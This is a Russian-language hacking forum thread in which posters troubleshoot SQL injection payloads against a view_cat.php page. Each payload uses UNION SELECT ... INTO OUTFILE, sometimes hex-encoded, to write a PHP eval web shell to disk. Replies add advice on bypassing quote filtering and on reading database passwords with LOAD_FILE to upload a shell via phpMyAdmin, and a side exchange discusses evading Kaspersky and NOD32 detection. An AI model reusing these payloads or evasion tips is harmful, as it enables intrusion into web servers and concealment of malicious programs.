Ваши вопросы по уязвимостям.

Нет, путь нужен полный от корня, или если винда , то с диска. Ты-же на локалке тренируешься? Пробуй лить с такими ../../ путями, и с полными, потом поиском ищи куда залилось, и сам всё поймёшь

 

http://localhost/view_cat.php?cat=-1+union+select+1,'<?php eval($_GET[‘sql‘])?>',3,4,5,6,7,8,9+INTO+OUTFILE+'file://localhost/C:/shell.php'

если все верно,шел доступен по адресу
http://localhost/shell.php

Я правильно понимаю?
Запрос Верно составлен?

 

Нет , Локальный путь, то что ты видишь в проводнике(или что там у тебя), а не в браузере. И доступен он будет там куда ты его положишь.

Тоесть (например для денвера)
http://localhost/ ------- это Z:\home\localhost\www\

Льём
INTO+OUTFILE+'Z:\home\localhost\www\shell.php'

доступен:
http://localhost/shell.php

 

l1ght

нет не хочет почему то

 

А можно объяснить, почему он так будет говорить? Что именно антивирусу не понравится? Я к примеру запускаю бат и не ругается, вношу изменения в реестр и тоже тишина

 

Каспер фиксирует даже минимальные изминения в системе,находит прогу,которой вызваны изменения и опредиляет её как вредоносную, иль трояна.

 

ну а как можно сделать чтобы кнопка enter нажималась програмно? если можно поподробней
и чеита у меня на каждое изменение в системе нпомалкивает нод 32??

 

2Neponomat а ключ /s не катит?)

 

http://localhost/view_cat.php?cat=-1+union+select+1,'<?php eval($_GET['sql'])?>',3,4,5,6,7,8,9+INTO+OUTFILE+'Z:\shell.php'

что-то опять не так делаю,может закодировать?

 

kevmen, "<?php eval($_GET['sql'])?>" или '<?php eval($_GET["sql"])?>' или '<?php eval($_GET[sql])?>' и т.д.

 

бесполезно,не получается

 

Закодируй в 16битный формат вида 0xHEX_CODE...

 

http://localhost/view_cat.php?cat=-1+union+select+1,0x3c3f706870206576616c28245f4745545b73716c5d293f3e,3,4,5,6,7,8,9+INTO+OUTFILE+0x5a3a5c7368656c6c2e706870

тоже не помогает

 

INTO+OUTFILE+'Z:\shell.php' нельзя хексить..

Пробуй:

Code:

http://localhost/view_cat.php?cat=-1+union+select+1,0x3c3f706870206576616c28245f4745545b73716c5d293f3e,3,4,5,6,7,8,9+INTO+OUTFILE+'Z:\shell.php'

 

Убери с оутфайла хекс,если не поможет, значит вероятно фильтрация кавычек в запросе...

 

http://localhost/view_cat.php?cat=-1+union+select+1,0x3c3f706870206576616c28245f4745545b73716c5d293f3e,3,4,5,6,7,8,9+INTO+OUTFILE+'Z:\shell.php'

пробовал так,бесполезно все!

 

'Z:\shell.php'
вот это нужно как-то приподнести без кавычек)

 

Где то была инфа по обходу фильтрации кавычек, но будет она пахать в даном случае-хз...

 

Кавычки должны быть и обязательно "настоящими"

 

Если тебя интересует заливка шелла, то при наличии прав с помощью лоад файла можно узнать пассы от бд и попытатся залить шелл через пхпмайадмин...